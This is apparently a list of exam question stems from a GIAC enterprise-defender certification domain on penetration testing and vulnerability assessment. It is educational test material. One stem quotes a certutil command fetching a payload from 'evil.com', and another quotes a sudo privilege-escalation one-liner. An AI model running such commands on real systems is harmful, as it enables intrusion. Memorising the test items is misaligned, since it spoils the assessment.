Domain 6: Penetration Testing & Vulnerability Assessment

GIAC Certified Enterprise Defender · 38 questions

• A penetration tester performing an internal network assessment needs to identify live hosts on the 10.0.0.0/8 network while minimizing IDS detection. Which scanning approach is MOST appropriate?
• A vulnerability assessment identifies a critical CVE with CVSS 9.8 on a web server. The finding notes the vulnerability is not exploitable because a compensating firewall rule blocks access to the affected service. How should the vulnerability management team handle this?
• A penetration test finds a web application reflecting user input directly into HTTP response headers without sanitization. Which vulnerability class does this represent and what is the primary risk?
• During a penetration test, a tester has a low-privileged Windows account. Which technique would MOST likely allow privilege escalation to SYSTEM?
• A penetration testing team is preparing the final report. Which element is MOST important to differentiate for executive leadership versus technical staff?
• A security team is selecting between authenticated and unauthenticated vulnerability scans for a quarterly assessment of internal servers. Which scenario BEST justifies using an authenticated scan?
• A penetration tester gains valid domain user credentials through a phishing simulation and then performs a Kerberoasting attack. What does Kerberoasting retrieve and how is it exploited?
• A penetration tester is performing an external network assessment and conducts passive reconnaissance using Shodan. What type of information does Shodan provide?
• A penetration tester exploits a vulnerability and gains an unprivileged shell on a Linux server. The next step is privilege escalation. Which technique involves exploiting a SUID binary with an unintended capability?
• A vulnerability scanner reports a critical finding on a web server: 'Apache HTTP Server 2.4.49 Path Traversal and Remote Code Execution (CVE-2021-41773).' The server is in production. What is the risk-prioritization factor that should be considered first?
• A penetration test report includes a finding of 'SMB signing not required' on domain workstations. Why is this a security risk?
• A penetration tester is conducting a red team engagement and wants to move laterally using 'Living off the Land' (LotL) techniques. Which tool is most consistent with a LotL approach?
• A rules of engagement (ROE) document for a penetration test specifies a 'black-box' testing approach. What does this mean for the penetration tester?
• A vulnerability assessment finds that 200 hosts have a critical-severity vulnerability and 50 hosts have a medium-severity vulnerability that is actively exploited in the wild. How should patching be prioritized?
• A penetration tester is performing post-exploitation on a Windows system and wants to dump credentials from LSASS. The target system has Credential Guard enabled. What is the expected result?
• A penetration tester performs a Kerberoasting attack against an Active Directory domain. What does this attack target and what is the success condition?
• A vulnerability assessment identifies a web server running with directory listing enabled. A directory listing at '/backup/' reveals database dump files. What is the severity and impact of this finding?
• A red team uses the technique of 'living off the land' and runs certutil.exe -urlcache -split -f http://evil.com/payload.exe payload.exe. What is this command doing and why is it significant?
• A security team conducts a vulnerability scan and receives findings across 1,000 hosts. They want to prioritize remediation using the CVSS base score combined with threat intelligence. Which CVSS 3.1 metric most influences exploitability?
• A penetration tester discovers a Linux system running Sudo version 1.8.x and attempts 'sudo -u#-1 /bin/bash'. What vulnerability does this exploit?
• An organization's helpdesk reports that users are receiving calls from someone claiming to be IT support asking them to reveal their passwords or run remote access tools. What type of attack is this?
• A penetration tester performs a post-exploitation review of a domain-joined Windows workstation and finds the registry key HKLM\SECURITY\Cache populated with encrypted entries. What do these entries represent and why are they security-relevant?
• During a penetration test, a tester uses the tool BloodHound to map an Active Directory environment. What specific risk does BloodHound expose that is difficult to identify manually?
• A penetration tester has obtained code execution on a web server in the DMZ and wants to pivot to the internal network. The web server can only reach internal hosts on TCP port 3389. Which technique allows the tester to pivot through this connection?
• A penetration test report rates a finding as CVSS 3.1 score 9.8 (Critical). The security team discovers the vulnerable service is only accessible from a specific isolated test VLAN with no internet access and no connection to production systems. How does this environmental context affect risk?
• A penetration tester is testing a web application for Cross-Site Request Forgery (CSRF) vulnerabilities. What condition must exist for a CSRF attack to be possible?
• A penetration tester submits a test report recommending remediation for a high-severity finding. The client's development team says the fix will take 6 months to implement. What should the client implement in the meantime?
• A penetration tester wants to establish a Command and Control channel that blends with normal corporate traffic and is unlikely to be blocked by enterprise security controls. Which C2 channel is hardest to detect and block while appearing legitimate?
• A security team receives a penetration test report recommending 'removal of unnecessary services and applications.' On a Windows Server 2019 server, which method enforces this recommendation while minimizing the installed attack surface?
• A penetration tester exploits an authenticated Server-Side Request Forgery (SSRF) vulnerability in a cloud application. The tester successfully queries the AWS Instance Metadata Service at 169.254.169.254. What is the security impact?
• A penetration tester successfully exploits a buffer overflow vulnerability in a network service and obtains a root shell. During the debrief, the client asks how they can detect this type of exploitation attempt. Which defensive technology is most effective at detecting exploitation of memory corruption vulnerabilities?
• A penetration tester performs an nmap scan and uses -sV --script=banner flags. What information do these flags collect?
• A penetration tester is assessing an organization's resistance to physical security attacks. They tailgate through a secured door behind an authorized employee without badging in. What type of attack does this represent?
• During a web application penetration test, a tester discovers that the application includes user-supplied input in an HTTP redirect URL parameter without validation: https://app.com/redirect?url=https://victim.com. What vulnerability is present and what is the risk?
• A penetration test report recommends implementing a 'defense-in-depth' strategy as a remediation for multiple findings. A junior analyst asks what this means. Which description is most accurate?
• A penetration tester is assessing a web application and discovers that the application uses the document.write() function with user-controlled input reflected in the response without encoding. What vulnerability is present?
• A penetration tester is conducting a physical assessment and wants to test whether an employee will allow them into a secured area. The tester approaches a door carrying large boxes, making it difficult to badge in, and waits for an employee to open the door. What technique is this?
• After completing a penetration test, the test team must handle the sensitive data and access obtained during testing. Which action is required at the conclusion of the engagement per professional standards?